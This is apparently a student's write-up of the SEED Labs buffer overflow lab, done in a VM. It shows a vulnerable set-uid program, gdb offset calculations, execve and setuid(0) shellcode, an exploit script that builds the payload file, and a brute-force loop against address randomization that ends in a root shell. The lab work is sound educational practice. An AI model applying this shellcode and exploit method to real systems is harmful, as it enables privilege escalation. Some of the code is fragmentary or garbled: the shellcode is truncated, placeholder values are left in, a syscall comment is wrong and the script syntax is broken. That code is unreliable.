Buffer Overflow Vulnerability Lab

57119106 吴奥

Turning Off Countermeasures

关闭地址空间随机化

```
[07/15/21]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

Task 1: Running Shellcode

创建callshell_code.c文件编译并执行

```
[07/15/21]seed@VM:~/class2_lab2$ touch call_shellcode.c
[07/15/21]seed@VM:~/class2_lab2$ vim call_shellcode.c
[07/15/21]seed@VM:~/class2_lab2$  gcc -z execstack -o call_shellcode call_shellc
ode.c
```

> 注意：要选上execstack，否则无法得到正确结果

结果正确

```
[07/15/21]seed@VM:~/class2_lab2$ ./call_shellcode
$ exit
```

新建stack.c,并将其设为set-uid程序

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
* Suggested value: between 0 and 400 */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */
```

```
char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
}
```

编译

```
$ gcc -DBUF_SIZE=N -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack
```

Task 2: Exploiting the Vulnerability

计算buffer与ebp地址

```
gdb-peda$ p $ebp
$3 = (void *) 0xffffcf18
```

```
gdb-peda$ p &buffer
$3 = (char (*)[24]) 0xffffcef8
```

计算两者差值

```
gdb-peda$ p/d 0xffffcf18 - 0xffffcef8
$4 = 32
```

由此可以得出返回地址区域就在buffer起始地址的前36处。

构造输入文件badfile

新建脚本exploit.py

代码如下：

```
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
"\x00"
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
######################################################################
```

```
ret = 0xAABBCcDD # replace 0xAABBCCDD with the correct value
offset = 0 # replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
################################################################################
# Write the content to badfile
with open('badfile', 'wb') as f:
f.write(content)
f.close()
```

执行文件stack

```
[07/15/21]seed@VM:~/class2_lab2$  stack
#
```

得到正确结果

Defeating dash's Countermeasure

由于dash会自动放弃特权，所以要改变shellcode

将shellcode改为

```
char shellcode[] =
"\x31\xc0" # xorl %eax,%eax 将eax寄存器内容置0
"\x31\xdb" # xorl %ebx,%ebx 将ebx寄存器内容置0
"\xb0\xd5" # movb $0xd5,%al 将eax设置为setuid的系统调用号0xb5
"\xcd\x80" # int $0x80 执行系统调用setuid（0），将真实用户id改为root
# 以下代码同任务二
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
```

```
[07/15/21]seed@VM:~/class2_lab2$  stack
#
```

再一次获得特权程序

Defeating Address Randomization

编写python脚本自动执行，直到成功

```
#!/bin/bash

 SECONDS=0SEED Labs – Buffer Overflow Vulnerability Lab 10

value=0

 while [ 1 ]

 do

 value=$(( $value + 1 ))
```

```
 duration=$SECONDS

min=$(($duration / 60))

 sec=$(($duration % 60)

) echo "$min minutes and $sec seconds elapsed." echo "The program has been
running $value times so far."

./stack

 done
```

运行47117次，一分钟12秒后获得了root权限，攻击成功

```
i minutes and 12 seconds elapsed.
The program has been running 47117 times so far.
```

Task 6: Turn on the Non-executable Stack Protection

输出段错误，失败；